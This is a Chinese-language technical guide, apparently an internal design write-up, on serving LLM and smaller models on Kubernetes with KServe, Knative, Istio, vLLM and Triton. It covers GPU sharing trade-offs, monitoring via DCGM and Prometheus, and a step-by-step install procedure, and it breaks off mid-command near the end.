k8s 是不够的。\n如果光有 k8s 我们会遇到以下几个问题：\n资源利用率极低，成本高昂：Kubernetes 的原生调度单位是 Pod。它不理解 “模型” 这个概念，也不知道如何在一张 GPU 上高效地运行多个模型。那就意味着一个模型会独占一张 GPU 卡。中小模型的计算量不大，大部分时间里，这个 Pod 和 GPU 都是空闲的。当模型数量增加时（例如 10 个或 50 个模型），成本会呈线性增长，变得非常昂贵。 运维复杂度极高：原生 Kubernetes 缺少一个更高层次的抽象来描述 “模型服务” 这个场景，必须手动组合多个底层资源来完成一个任务（手动编写和维护一套复杂的 Kubernetes YAML 文件（Deployment, Service, HorizontalPodAutoscaler 等）。 缺乏标准化的模型服务能力：这些都是应用层的逻辑，原生的 Kubernetes 并不直接提供这些开箱即用的功能 如何进行 A / B 测试或金丝雀发布（Canary Rollouts）来平滑升级模型？ 如何处理模型的预处理和后处理逻辑？ 如何监控模型的 QPS、延迟、成功率等指标？ 可观测性不足（难以按 “模型维度” 看指标） 流量高峰时如何自动扩容，没有流量时如何缩容以节省成本？ KServe “\nStandardized Distributed Generative and Predictive AI Inference Platform for Scalable, Multi-Framework Deployment on Kubernetes\n为了解决上述问题，社区催生了专门针对 Kubernetes 的模型服务平台，KServe 就是其中的佼佼者。它通过引入一个名为 InferenceService 的自定义资源（CRD）来解决这些问题。\n解决资源利用率问题：\n模型复用 (Multi-Model Serving)：KServe 可以与 NVIDIA Triton Inference Server 或 TorchServe 等高性能推理服务器集成。这些服务器支持在 单个 Pod 和单个 GPU 上加载和运行多个模型。当请求进来时，由推理服务器动态地将计算任务分配给 GPU。这样，多个中小模型就可以共享一张 GPU，极大提高资源利用率。\n自动缩容至零 (Scale to Zero)：当一个模型在一段时间内没有收到任何请求时，KServe 可以自动将该模型的 Pod 缩减到 0。当新的请求到来时，它又能快速拉起一个新的 Pod 来提供服务。这对于流量不稳定的中小模型来说，是巨大的成本节省。\n解决运维复杂度问题：\n单一抽象 (InferenceService)：不再需要编写 Deployment, Service 等一大堆 YAML。只需要定义一个 InferenceService 对象，在里面声明用的是什么框架（TensorFlow, PyTorch, Triton 等）以及模型的存储路径（如 S3）。KServe 会自动创建和管理所有底层的 Kubernetes 资源。这极大地简化了运维工作。\n解决标准化服务能力问题：\n开箱即用的高级部署：在 InferenceService 的配置中，只需修改几行代码，就可以轻松实现金丝雀发布。例如，您可以指定将 10% 的流量发送到新模型，90% 的流量发送到旧模型，验证通过后再全量切换。\n请求日志、监控指标：KServe 自动提供了标准化的接口和可观测性指标，方便接入 Prometheus、Grafana 等监控系统。\n推理图谱 (Inference Graph)：对于需要多个模型串联（例如预处理 -\u0026gt; 模型 A -\u0026gt; 后处理 -\u0026gt; 模型 B）的复杂场景，KServe 也提供了标准化的解决方案。\n对于 “在 Kubernetes 上部署多个中小模型” 这个场景， KServe 是目前最好、最主流的开源解决方案之一。\n直接采用 KServe 将会极大降低成本、简化管理、并提升部署的稳定性和灵活性，让我们可以更专注于模型算法本身，而不是底层的基础设施。\nKServe 架构 KServe 架构概览：\n核心架构：\n控制面架构：\n数据面架构：\n模型 runtime 支持：\nvLLM 和 Triton 从 KServe 的运行体系图中可以看到在推理层面，大致有两种最流行的软件，一个是 vLLM，一个是 Triton\nvLLM 是 LLM 专用推理引擎（只跑 Transformer，极快但单一） Triton 通用推理平台（CV/NLP/LLM/推荐都能跑，全能但略重） 在 KServe 里，两者的选择就是： “要极速跑 LLM，还是要一车拉所有模型” 。在实践中，KServe 是一个统一平台，可以支持我们按需选引擎，所以不用 all in 其中任何一种，比较灵活、方便。\n三、部署思路 架构 结构如下：\n这里我们需要解释几个问题\n1. 整体链路是谁在做自动扩缩容？ 在 KServe + Knative 模式 下，职责大致是：\nKServe：\n写 InferenceService CRD（YAML）\nKServe Controller 把它翻译成一个 Knative Service（和一些 K8s 资源）\n同时通过 annotations / 字段把我们希望的 autoscaling 配置写进去\nKnative Serving：\n一个 Revision\n一个对应的 Deployment（里面的 Pod 跑模型容器）\n一个自动伸缩器：\n要么是 KPA（Knative Pod Autoscaler）\n要么是一个真正的 Kubernetes HPA（如果配置了 autoscaling.knative.dev/class: hpa.autoscaling.knative.dev）\n接管 Knative Service，创建：\nIstio：\n负责入口网关、路由、mTLS 等\n把请求导入到 Knative 的 activator / queue-proxy 上\n为 Knative 提供 HTTP 请求 metrics（QPS、并发等）\n不直接做扩缩容决策，只是提供流量和指标\n真正做扩缩容决策的是：\nKnative 的 KPA 或 HPA，再通过 Deployment 控制最终 Pod 数量\nKServe 只是 “声明模型 + 帮我们写好 Knative 配置”，并不直接操作 replicas\n2. enable-scale-to-zero: \u0026ldquo;true\u0026rdquo; 的含义是什么？ 1# 文件： knative-config.yaml 2enable-scale-to-zero: \u0026#34;true\u0026#34; 在 Knative 的 config（比如 config-autoscaler）里，表示 允许某个 Knative Service 被 KPA 缩到 0 个 Pod。 再配合 InferenceService / Knative Service 上的配置：\n若没有设置 minScale / minReplicas，默认允许从 0 → N 若在 InferenceService 里（或 annotations）配了 minReplicas: 1 或 autoscaling.knative.dev/minScale: \u0026ldquo;1\u0026rdquo;，则不会缩到 0，而是至少保留 1 个 Pod（即 1 块 GPU 一直常驻） 缩到 0 的流程大致是：\n一段时间内没有请求（由 Knative 的 autoscaler 统计） KPA 认为可以缩减，就把 Deployment 的 replicas 降到 0 Pod 把 GPU 释放掉；节点上的 GPU 就空闲了 从 0 唤醒：\n有新请求到达 Istio 网关 → 被路由到 Knative 的 Activator Activator 缓冲请求，并通知 autoscaler autoscaler 把 Deployment 从 0 扩到 1（或更多）个 Pod Pod 启动，模型加载进 GPU，处理缓存的请求（这就是冷启动） 3. 单模型 多 Pod ，如何占多机多卡？ 把上面的流程套到 GPU 上看就是：\n1. 每个推理 Pod 的容器请求：\n1resources: 2 limits: 3 nvidia.com/gpu: 1 4 2. K8s 调度时确保：\n每个 Pod 分配到一个有空闲 GPU 的节点 默认 nvidia.com / gpu 是「不可共享资源」，所以 1 Pod 独占 1 块卡 3. 当 autoscaler 决定从 1 Pod 扩到 N Pod 时：\nK8s 再调度 N-1 个新的 Pod 到其他 GPU 节点 最终你就是：同一个模型，多 Pod，分布在多台单卡机器上 Istio / Knative 负责把请求均衡到这些 Pod 上 4. 当流量变小：\nautoscaler 把 replicas 从 N 缩回 1，甚至缩到 0 对应地释放掉一部分 / 全部节点上的 GPU 总的来说：\n目前有两种模式： 单模型 + 单 Pod = 占用一台单卡机 单模型 + 多 Pod = 水平扩展到多台单卡机，多卡并行处理请求 多 Pod 的自动扩缩容流程：\n决策逻辑在 Knative（KPA 或 HPA）这层\nKServe 只是根据 InferenceService 的 spec \u0026amp; annotations 帮我们创建出合适的 Knative Service / autoscaler 配置\nIstio 不做扩缩容决策，只负责网关和路由，同时为 Knative 提供 metrics / 流量通路\nenable-scale-to-zero: \u0026ldquo;true\u0026rdquo; 是 Knative 的全局开关，允许在 InferenceService 里配置成真正可缩到 0 的无流量模型服务。\n面临的问题 整个架构从水平扩容的角度讲是没有太大的问题，但当我们把视角切换到机器内部，看 pod 内部的情况，是有问题的，比如：\n一个显卡 48G 显存，一个小模型可能只需要 10G 显示，但它独占了一张显示，这会造成资源的浪费 当我只有一两个模型需要部署时候问题不大。浪费也不大，但如果我有多个小模型（单卡能放下）都需要同时部署，如果不仔细计算显卡的使用率，那么有可能造成大量的资源浪费。 解决办法 对一个 LLM 来说，显存大致分三块：\n模型权重（weights） 运行时开销（activations / 临时 buffer 等） KV Cache（连续 batching 的关键，vLLM 会尽可能把剩余显存拿来做这个）VLLM Docs vLLM 通过 \u0026ndash;gpu-memory-utilization 控制 “自己能用的显存占比”（默认 0.9），在这个额度内， 剩下的空间基本都会拿去做 KV Cache，以提升吞吐和并发。\n所以：\n如果我们看到 “模型只占 10G”，很可能只是在低并发、短上下文下的一瞬间观感； 一旦并发、上下文长度、请求峰值上去，KV Cache 会吃掉大量显存，这时候那 “剩余的 30+ G” 就会逐步被用起来。 如果在业务高峰期，这几个指标都比较高（比如显存长期 \u0026gt;70%，KV cache 使用率也不低），那 “单模型独占一张卡” 并不浪费，而是在换 性能 \u0026amp; 稳定性。\n其实我们问题的本质是：“我有好几种小模型都要在线，单卡其实装得下，但一机一模型的部署方式会造成卡粒度上的浪费。”\n要解决这个问题，大致有几条思路：按 “现实可行度” 从高到低排序：\n业务层合并：能不用多模型就别用多模型 能用 一个 “能力足够强” 的主模型 + Prompt / LoRA 搞定，就不要真部署 N 个完全独立的小模型。 多数 “业务小模型” 的差异，其实是 “提示词 + 风格 + LoRA” 的区别，不一定非要上不同 base model。 把单模型的吞吐吃满 利用 vLLM 的连续 batching，提高并发、适当增加最大上下文、控制 QPS，让 GPU 真正跑到比较高的利用率。 我们已经有完整的 Prometheus / Grafana 看板方案，可以直接看 QPS、Token 吞吐、GPU Util、KV Cache 占用来调优。 实在必须多模型同卡，再考虑 “共享 GPU” 技术（下面会拆开说） 共享 GPU 技术 Time-Slicing\nNVIDIA GPU Operator / k8s-device-plugin 提供的 Time-Slicing，本质是：\n把一张物理 GPU 虚拟成多个 “replica” 资源，Pod 申请 nvidia.com / gpu: 1 时，拿到的是其中一个 replica； 底层靠 时间片轮转 在同一张卡上跑多个 Pod。 关键点（也是坑点）是：Time-Slicing 只切算力，不切显存，显存是共享的，没有隔离。NVIDIA Docs 这意味着：\n如果多个 Pod 加起来申请 / 实际占用的显存 \u0026gt; 实际物理显存，就有概率 OOM； 即使不 OOM，Page Fault / 内存碎片也会让延迟非常不稳定。 而 vLLM 非常依赖稳定且持续的显存做 KV Cache，Time-Slicing 没有显存隔离，很容易被别的 Pod 挤爆显存导致 OOM，所以不适合 vLLM\nMIG（Multi-Instance GPU）\nMIG 的特点：\n真正把 一张 GPU 切成多个硬件隔离的 “小卡”，每块有独立的显存、高带宽内存、缓存和计算核心 适合需要 延迟可预测、多租户隔离 的 LLM 推理场景 但 MIG 只在 A100 / H100 / A30 等特定卡上存在，普通云上 L4、L40、T4、V100 这类要么不支持，要么支持非常有限。对于我们来说，也不适用。\nModelMesh\nKServe 其实就内置了两种 “模型平台形态”：1. Single-Model Serving（单模型平台）\n每个服务只跑一个模型； LLM / 大模型几乎都是走这一条（包括 vLLM Runtime）。2. Multi-Model Serving（基于 ModelMesh 的多模型平台） 同一个模型服务器里可以放多模型，按需加载/卸载，适合一堆小模型共享有限卡的场景（比如 SKLearn/ONNX/OpenVINO 那些）。 ModelMesh 适合「很多模型 + 访问稀疏」的场景，ModelMesh 的设计目标是：\n管理 大量模型（几十、几百甚至更多）\n很多模型 QPS 很低，没必要长时间常驻显存 / 内存\n通过「按需加载 + LRU 驱逐」来平衡：\n内存 / 显存占用\n冷启动延迟\n另外，社区对 ModelMesh 的定位也比较明确：更偏向 “可伸缩多模型平台”，现在要把 LLM Runtime（特别是 vLLM）硬往 ModelMesh 里塞，是有一定探索和集成成本的，而且生态也还在演进中 https://github.com/kserve/kserve/issues/4299\n如果我们前期的目标只是「十个以内」的小模型，希望高利用率、简单稳定，所以可以先不用 ModelMesh，真正到模型数爆炸、并且很多模型很冷时，再考虑 ModelMesh 会更合适。尤其是当前的重点是 “先把核心 LLM 跑稳定 \u0026amp; 可观测 \u0026amp; 易扩容”。\nTriton + vLLM + 多模型同 Pod / 同 GPU\n以上方案都不太合适，于是我把目光投向了 Triton\nNVIDIA Triton 的能力是比较强的：\n支持在同一台机器上多个模型 / 多个模型实例并行执行，由 Triton 负责调度；NVIDIA Docs 支持多种后端（TensorRT-LLM、PyTorch、ONNXRuntime、Python backend 等）； 现在还有 官方的 vLLM backend，可以在 Triton 里用 vLLM 做 LLM 推理。 从 GPU 视角看，Triton 做的事类似于：“一个进程负责管理很多模型，来了请求就把对应的 op 丢给 GPU，GPU 再在硬件层面做调度并发。” 但是：Triton 也不会神奇地帮我们 “切显存”—— 多个模型的权重 + KV Cache 依然是往同一个物理显存里塞。Triton 提供的是 “共享一块显存的多模型协调器”，不是 “把显存分成几块小卡” 的硬隔离器。\n因此：\nTriton 不能像 MIG 一样说：\n“模型 A 只能用 16G，模型 B 只能用 8G，互相绝不会越界”\n它顶多是：\n通过配置 + 调度让你 “尽量别把自己搞到 OOM”；\n但如果你把几个模型配置得都很激进，合起来 \u0026gt; 物理显存，照样可能 OOM，仅仅是更 “有迹可循”。\n结合我们的实际情况，综合考虑，Triton 可以有以下几种组合姿势：\nTriton 只负责传统模型（embedding、CV、语音等），LLM 仍由独立 vLLM 服务跑 这时候 “一卡多模型” 主要是非 LLM 模型之间的事，LLM 是单卡独占或少量共享； 对现在的 “私有化大模型平台” 来说，这是最现实、也最可控的一种搭配。 Triton + vLLM backend，把 LLM 也塞进 Triton 的统一服务里 本质上还是 “一张卡一个 vLLM 引擎”，只是对外通过 Triton 统一暴露接口而已； 多模型同卡时，显存依然一起抢；如果你试图放多个 LLM（哪怕是 7B SLM），很快就会撞上显存天花板，需要极其克制的 \u0026ndash;gpu-memory-utilization 和并发控制。 Triton 内部多 LLM + 非 LLM 模型混合 这种组合在理论上可行，工程上可做，但对资源规划、监控、故障排查的要求会非常高； 对现在来说，属于 “下一阶段再考虑” 的东西 综上，目前我们利用 Triton 采用第一种方式：负责传统模型（embedding、CV、语音等），LLM 仍由独立 vLLM 服务跑\n对所有私有化部署的模型部署整体策略如下：\n“\n上图是从 KServe 视角看的，如果从 k8s 视角，不同的 pod 还会有多副本扩容的情况。但每个 pod 都是独占 GPU。\nTriton 多模型（非 LLM）分组方案\n整体思路：1 GPU 1 Triton，多模型共用\n在现有架构下，最自然的做法是：\n每块 GPU 起一个 Triton Pod（由一个 InferenceService 管）\n这个 Triton Pod 里面的 model repository 里放多个非 LLM 模型：embedding / rerank / CV / ASR…\nKServe 只是负责：\n帮我们起 kserve-tritonserver 这个 runtime\n把远端（S3/MinIO/PVC）上的 Triton model repository 挂到 /models（或 /mnt/models）\n暴露统一的 HTTP / gRPC 入口（/v2/models//infer）\nTriton 本身就是为「一台机上多个模型、多个实例并发」设计的：多个模型、多个实例可以在同一块卡上并发执行，通过 instance_group、dynamic_batching 来调度和吃满卡资源。NVIDIA Docs\n建议按业务域 + 性能特性分组：\n一组：文本向量 + rerank（text-embedder / text-reranker） 一组：CV / OCR / ASR（图像 \u0026amp; 语音） 这样： 同一组内模型的 batch 维度、输入大小比较接近，Triton 的 dynamic batching 比较好调； 资源隔离更清晰：文本这组爆了不会影响语音那组。 下面是一套完整配置样例（可以先从「所有非 LLM 都放一个组」开始，后面再拆分）\n分组示例\nTriton 模型仓库（model repository）结构示例，Triton 要求的模型仓库布局类似这样：\n1 s3://your-bucket/triton-nonllm-repo/ 2├── text-embedding-e5-small/ 3│ ├── config.pbtxt 4│ └── 1/ 5│ └── model.onnx 6├── text-rerank-msmarco/ 7│ ├── config.pbtxt 8│ └── 1/ 9│ └── model.onnx 10├── vision-cls-resnet50/ 11│ ├── config.pbtxt 12│ └── 1/ 13│ └── model.onnx 14├── asr-conformer/ 15│ ├── config.pbtxt 16│ └── 1/ 17│ └── model.onnx 18└── search-pipeline/ 19 ├── config.pbtxt # 可选：Triton ensemble，把 embedder + reranker 串起来 20 └── 1/ 21 └── model.graphdef / model.py / ... 只要 storageUri 指向这个目录，Triton 就会把子目录当成多个模型一起加载。\n单个模型的 config.pbtxt 示例（带分组 / 实例配置），以一个 ONNX embedding 模型 为例： 路径：text-embedding-e5-small/config.pbtxt\n1name: \u0026#34;text-embedding-e5-small\u0026#34; 2platform: \u0026#34;onnxruntime_onnx\u0026#34; 3max_batch_size: 128 # 这里根据你的 embedding 模型实际情况调 4 5input [ 6 { 7 name: \u0026#34;input_ids\u0026#34; 8 data_type: TYPE_INT64 9 dims: [ -1 ] # 序列长度，-1 表示动态 10 }, 11 { 12 name: \u0026#34;attention_mask\u0026#34; 13 data_type: TYPE_INT64 14 dims: [ -1 ] 15 } 16] 17 18output [ 19 { 20 name: \u0026#34;embedding\u0026#34; 21 data_type: TYPE_FP32 22 dims: [ 768 ] # 或者你的模型真实向量维度 23 } 24] 25 26# 关键：在同一块 GPU 上开多实例，提高吞吐 27instance_group [ 28 { 29 kind: KIND_GPU 30 count: 2 # 这块卡上起两个实例，看显存情况调 1/2/3 31 } 32] 33 34# 关键：Dynamic Batching，让 Triton 自动拼 batch 35dynamic_batching { 36 preferred_batch_size: [ 8, 16, 32, 64 ] 37 max_queue_delay_microseconds: 2000 # 2ms 内尽量攒一波请求 38} 39 同理，你可以为其他模型写各自的 config.pbtxt。分组思路：\n对 高 QPS 的模型（比如 text embedding）可以把 max_batch_size 和 preferred_batch_size 设得大些，多起几个 instance_group； 对 低 QPS 但重模型（ASR、复杂 CV）就用 max_batch_size 小一点，甚至单实例。 如果有完整的 pipeline（比如「embedding → rerank」），可以用 Triton 的 ensemble 在 search-pipeline/config.pbtxt 里把两个模型串起来，一次请求走一条 DAG，减少网络往返。\nKServe InferenceService YAML 示例（kserve-tritonserver）\nKServe 自带 kserve-tritonserver 这个 ClusterServingRuntime，支持 TensorFlow / ONNX / PyTorch / TensorRT 模型。可以这样起一个「非 LLM 小模型专用」的 Triton 服务：\n1apiVersion: serving.kserve.io/v1beta1 2kind: InferenceService 3metadata: 4 name: triton-nonllm-text 5 namespace: ai-serving 6 annotations: 7 # Knative 自动扩缩容（按并发） 8 autoscaling.knative.dev/metric: \u0026#34;concurrency\u0026#34; 9 autoscaling.knative.dev/target: \u0026#34;10\u0026#34; # 每 Pod 目标并发 10 autoscaling.knative.dev/minScale: \u0026#34;1\u0026#34; 11 autoscaling.knative.dev/maxScale: \u0026#34;5\u0026#34; 12spec: 13 predictor: 14 # ✅ 新 schema：通过 model.runtime 显式指定使用 kserve-tritonserver 15 model: 16 modelFormat: 17 # 这里写实际模型格式（比如 onnx / pytorch），只要包含在 kserve-tritonserver 支持列表中即可 18 # Triton 仓库里可以混放多种 backend，KServe 不会限制这一层 19 name: onnx 20 runtime: kserve-tritonserver 21 # 指向刚才那个包含多个模型的 Triton 模型仓库 22 storageUri: s3://your-bucket/triton-nonllm-repo 23 runtimeVersion: \u0026#34;24.03-py3\u0026#34; # 按你集群里安装的 kserve-tritonserver 版本改 24 # 如需 gRPC（性能更好），参考官方示例暴露 9000 端口:contentReference[oaicite:6]{index=6} 25 ports: 26 - name: h2c 27 protocol: TCP 28 containerPort: 9000 29 resources: 30 requests: 31 cpu: \u0026#34;4\u0026#34; 32 memory: \u0026#34;16Gi\u0026#34; 33 nvidia.com/gpu: 1 34 limits: 35 cpu: \u0026#34;8\u0026#34; 36 memory: \u0026#34;32Gi\u0026#34; 37 nvidia.com/gpu: 1 38 nodeSelector: 39 gpu-pool: \u0026#34;true\u0026#34; # 按你集群里标的 label 改，确保调度到有 GPU 的节点 40 几点说明：\n多模型是 Triton 内部概念 KServe 看到的只是「一个 InferenceService + 一个 Triton Pod」。 Triton 会根据 storageUri 下的目录加载多个模型。 请求路径 走 KServe / Istio / Knative 的网关时：\nHTTP：POST http:///v2/models//infer\ngRPC：grpc://:/InferenceServer/ModelInfer（按 Triton V2 协议）\n就是每个子目录名：text-embedding-e5-small / vision-cls-resnet50 / asr-conformer…\n简单 Checklist：\n准备 Triton 模型仓库 在 MinIO / S3 / PVC 上建好 triton-*-repo 目录； 把 embedding、rerank、CV、ASR 模型按 Triton 要求拆目录 + 写 config.pbtxt。 确认集群里有 kserve-tritonserver 的 ClusterServingRuntime kubectl get clusterservingruntime | grep triton 应用上面那个 InferenceService YAML 改好 storageUri、runtimeVersion、nodeSelector； 通过 /v2/models//infer 分别打 smoke test 文本 embedding / rerank / CV / ASR 各来几条请求； 对比 Triton metrics（/metrics）和 DCGM，看 GPU 利用率 \u0026amp; 显存占用。 请求流 \u0026amp; 监控流（两条主链路） 推理请求链路（从客户端到 vLLM） KServe 把 InferenceService 抽象出来，底层仍然是 Knative Service + Istio VirtualService 这些资源；Istio ServiceMesh 文档里也有 “给 InferenceService 打 sidecar 做安全 / 流量治理” 的说明。 vLLM 服务端会在 /metrics 上暴露自身的 Prometheus 指标，例如 vllm:prompt_tokens_total、vllm:generation_tokens_total、vllm:e2e_request_latency_seconds 等，用来统计 QPS、Token 数量和端到端延迟。 监控链路（业务 + GPU） NVIDIA 官方文档明确建议：在 Kubernetes 中监控 GPU 时，使用 DCGM Exporter → Prometheus → Grafana 这一条链路。 我们现在的设计就是把这一套和 vLLM 的业务 metrics 汇总到同一个 kube-prometheus-stack 里 —— 这也是很多实践里推荐的做法，用 Prometheus Operator 的 ServiceMonitor 去发现所有 exporter 与应用。 在 K8s 里做 GPU 监控，典型链路是：\n“\nGPU 节点 → GPU Operator → DCGM Exporter → Prometheus → Grafana\nGPU Operator：在 GPU 节点上自动装好驱动、Container Toolkit、Device Plugin、DCGM / Exporter 等一整套 GPU 栈。 DCGM Exporter：基于 NVIDIA DCGM，把 GPU 的利用率、显存、温度、功耗等指标以 Prometheus /metrics 的形式暴露出来。 NVIDIA 官方推荐：在 K8s 集群里采集 GPU Telemetry，就用 DCGM Exporter + Prometheus + Grafana 这一套。 GPU Operator 默认就会启用 DCGM Exporter 来采集 GPU metrics（可以通过 Helm values 里的 dcgmExporter.enabled 开关）。 所以，我们只需要：\n在 Kubekey 装好的 K8s 集群中安装 GPU Operator（包含 DCGM Exporter）。 在公司统一 Prometheus 上加一个 scrape job（或者在集群里用 ServiceMonitor），把这些 /metrics 抓过去即可 “\nGPU Operator 是一个管理者，DCGM Exporter 是它管理的一个组件。 你只和管理者（Operator）打交道，它会帮你搞定一切。\n四、环境搭建步骤 需要安装的软件、版本及顺序 安装步骤 SOP 第 0 步：准备工作 1# 添加所有需要的 Helm 仓库 2helm repo add nvidia https://helm.ngc.nvidia.com/nvidia 3helm repo add prometheus-community https://prometheus-community.github.io/helm-charts 4helm repo add jetstack https://charts.jetstack.io 5helm repo add istio https://istio-release.storage.googleapis.com/charts 6helm repo update 第 1 步：安装 NVIDIA GPU Operator (v24.9.1) 目的：启用 GPU 驱动，并配置 CDI (Container Device Interface) 以兼容 K8s 1.30。\n以下命令是在 GPU 驱动都安装好的前提下执行\n1helm install gpu-operator nvidia/gpu-operator \\ 2 -n gpu-operator --create-namespace \\ 3 --version v24.9.1 \\ 4 --set driver.enabled=false \\ 5 --set toolkit.enabled=true \\ 6 --set cdi.enabled=true \\ 7 --set cdi.default=true 8 验证：等待 kubectl get pods -n gpu-operator 全绿。\n如果出错，那么：\n这个命令显式指定了版本，并且强制告诉 Operator 你的 Containerd 配置文件在哪里，避免出现之前的 FailedCreatePodSandBox 错误。\n1helm install gpu-operator nvidia/gpu-operator \\ 2 -n gpu-operator --create-namespace \\ 3 --version v24.9.1 \\ 4 --set driver.enabled=false \\ 5 --set toolkit.enabled=true \\ 6 --set toolkit.env[0].name=CONTAINERD_CONFIG \\ 7 --set toolkit.env[0].value=/etc/containerd/config.toml \\ 8 --set toolkit.env[1].name=CONTAINERD_SOCKET \\ 9 --set toolkit.env[1].value=/run/containerd/containerd.sock \\ 10 --set toolkit.env[2].name=CONTAINERD_RUNTIME_CLASS \\ 11 --set toolkit.env[2].value=nvidia \\ 12 --set cdi.enabled=true \\ 13 --set cdi.default=true 第 2 步：安装 Kube-Prometheus-Stack (v61.9.0) 目的：基础监控。必须修正配置，否则 KServe 的 ServiceMonitor 会被忽略。\n准备 values-kube-prometheus-stack.yaml\n1# values-kube-prometheus-stack.yaml 2 3prometheus: 4 prometheusSpec: 5 # 允许抓取所有 namespace 下的 ServiceMonitor / PodMonitor 6 serviceMonitorNamespaceSelector: {} 7 podMonitorNamespaceSelector: {} 8 9 # 不再强制使用 Helm 的 release label 做筛选 10 # （默认是 true，会要求 ServiceMonitor 带 release=\u0026lt;helm release\u0026gt; 这样的 label） 11 serviceMonitorSelectorNilUsesHelmValues: false 12 podMonitorSelectorNilUsesHelmValues: false 13 14 # 空 selector = 不按 label 过滤，看到就抓 15 serviceMonitorSelector: {} 16 podMonitorSelector: {} 17 18 # 可选：Prometheus 数据保留时间 19 retention: 15d 20 21 # 暴露 Prometheus 的方式（开发环境方便直接 NodePort） 22 service: 23 type: NodePort 24 nodePort: 30090 # 访问地址：任一节点IP:30090 25 26grafana: 27 # Grafana 用 NodePort 方便先调试；生产看你们自己安全策略 28 service: 29 type: NodePort 30 nodePort: 30080 # 可不填，让 kube 随机分配 31 32 # 管理员密码（不写一般是 prom-operator，也可以明确写死） 33 adminPassword: prom-operator 这套配置的核心就是：Prometheus 不再只认「带 release=kube-prometheus-stack 的 ServiceMonitor」，而是「所有 namespace 下的 ServiceMonitor 都抓」，这样 GPU Operator 自动创建的 ServiceMonitor 也不会漏掉。\n安装 kube-prometheus-stack\n1helm install monitoring prometheus-community/kube-prometheus-stack \\ 2 -n monitoring --create-namespace \\ 3 --version 61.9.0 \\ 4 -f values-kube-prometheus-stack.yaml 打开 GPU Operator 的 监控组件（ServiceMonitor）\n1#解释： 2#--reuse-values: 保留之前设置的 cdi.enabled=true 等参数。 3#--set dcgmExporter.serviceMonitor.enabled=true: 这才是核心，告诉 Operator 创建监控对象。 4 5helm upgrade gpu-operator nvidia/gpu-operator \\ 6 -n gpu-operator \\ 7 --reuse-values \\ 8 --set dcgmExporter.serviceMonitor.enabled=true 第 3 步：安装 Cert-Manager (v1.15.3) 目的：为 KServe 和 Knative 的 Webhook 签发自签名证书。\n1helm install cert-manager jetstack/cert-manager \\ 2 -n cert-manager --create-namespace \\ 3 --version v1.15.3 \\ 4 --set crds.enabled=true 验证：等待 kubectl get pods -n cert-manager 全绿。\n第 4 步：安装 Istio (v1.22.6) 目的：流量网关。严格按照 Base -\u0026gt; Istiod -\u0026gt; Gateway 的顺序安装。\n1# 1. 安装 Base CRD 2helm install istio-base istio/base -n istio-system --create-namespace --version 1.22.6 3 4# 2. 安装 Istiod 控制平面 5helm install istiod istio/istiod -n istio-system --version 1.22.6 --wait 6 7# 3. 安装 Ingress Gateway (数据平面) 8helm install istio-ingressgateway istio/gateway -n istio-system --version 1.22.6 第 5 步：安装 Knative Serving \u0026amp; Net-Istio (v1.15.1) 目的：实现 Serverless 扩缩容能力。\n1# 1. 安装 CRDs 2kubectl apply -f https://github.com/knative/serving/releases/download/knative-v1.15.2/serving-crds.yaml 3 4# 2. 安装 Serving Core 5kubectl apply -f https://github.com/knative/serving/releases/download/knative-v1.15.2/serving-core.yaml 6 7# 3. 安装 Net-Istio (网络适配器) 8kubectl apply -f https://github.com/knative-extensions/net-istio/releases/download/knative-v1.15.1/net-istio.yaml 验证：kubectl get pods -n knative-serving，确保 net-istio-controller 和 activator 状态为 Running。\n第 6 步：安装 KServe (v0.14.1) 目的：核心推理平台。 注意这里使用的是 v0.14.1。\n1# 安装 KServe CRDs 2helm install kserve-crd oci://ghcr.io/kserve/charts/kserve-crd \\ 3 --version v0.14.1 \\ 4 -n kserve --create-namespace 5 6# 安装 KServe Controller 7helm install kserve oci://ghcr.io/kserve/charts/kserve \\ 8 --version v0.14.1 \\ 9 -n kserve 执行完上述两条命令后，检查 KServe 的系统组件： kubectl get pods -n kserve\n第 7 步：配置 vLLM Runtime (关键) KServe 默认只有简单的 CPU 模型支持。为了运行公司级 LLM 服务，必须添加支持 GPU 的 Runtime。\n保存以下内容为 vllm-runtime.yaml 并执行 kubectl apply -f vllm-runtime.yaml：\n1apiVersion: serving.kserve.io/v1alpha1 2kind: ClusterServingRuntime 3metadata: 4 name: kserve-vllm 5spec: 6 annotations: 7 prometheus.kserve.io/port: \u0026#39;8080\u0026#39; 8 prometheus.kserve.io/path: \u0026#34;/metrics\u0026#34; 9 supportedModelFormats: 10 - name: vllm 11 version: \u0026#34;1\u0026#34; 12 autoSelect: true 13 containers: 14 - name: kserve-container 15 image: vllm/vllm-openai:latest 16 # 建议生产环境锁定具体 image sha256 17 command: [\u0026#34;python3\u0026#34;, \u0026#34;-m\u0026#34;, \u0026#34;vllm.entrypoints.openai.api_server\u0026#34;] 18 args: 19 - --port=8080 20 - --model=/mnt/models 21 - --gpu-memory-utilization=0.9 22 env: 23 - name: PORT 24 value: \u0026#34;8080\u0026#34; 25 resources: 26 requests: 27 cpu: \u0026#34;4\u0026#34; 28 memory: \u0026#34;16Gi\u0026#34; 29 nvidia.com/gpu: \u0026#34;1\u0026#34; 30 limits: 31 cpu: \u0026#34;8\u0026#34; 32 memory: \u0026#34;32Gi\u0026#34; 33 nvidia.com/gpu: \u0026#34;1\u0026#34; 第 8 步：为 GPU 调度开启 Knative 的 nodeSelector / tolerations Knative 默认禁止你在 Knative Service 的 Pod 里写 nodeSelector / tolerations，KServe 官方教程在使用 GPU 时也会做这一步 patch。\n打开特性开关\n1kubectl patch configmap/config-features \\ 2 --namespace knative-serving \\ 3 --type merge \\ 4 --patch \u0026#39;{\u0026#34;data\u0026#34;:{\u0026#34;kubernetes.podspec-nodeselector\u0026#34;:\u0026#34;enabled\u0026#34;, \u0026#34;kubernetes.podspec-tolerations\u0026#34;:\u0026#34;enabled\u0026#34;}}\u0026#39; 重启 Webhook：\n1kubectl delete pod -n knative-serving -l app=webhook 第 9 步：Istio Sidecar 注入策略（避免影响 GPU Operator 和监控） 默认 Istio 只对打了 istio-injection=enabled 标签的 namespace 注入 sidecar。确保「不需要注入」的 namespace 没有 label\n保护基础设施 (防止 Sidecar 导致 Job 不退出)\n1# 1. 明确禁止 GPU Operator 注入 (防止 Validator/Driver 安装卡死) 2kubectl label namespace gpu-operator istio-injection=disabled --overwrite 3 4# 2. 明确禁止 监控 注入 (减少开销) 5kubectl label namespace monitoring istio-injection=disabled --overwrite 6 7# 3. 明确禁止 kube-system 注入 (安全底线) 8kubectl label namespace kube-system istio-injection=disabled --overwrite 保护控制平面 (防止 Webhook 超时)\n1 2kubectl label namespace knative-serving istio-injection=disabled --overwrite 3kubectl label namespace kserve 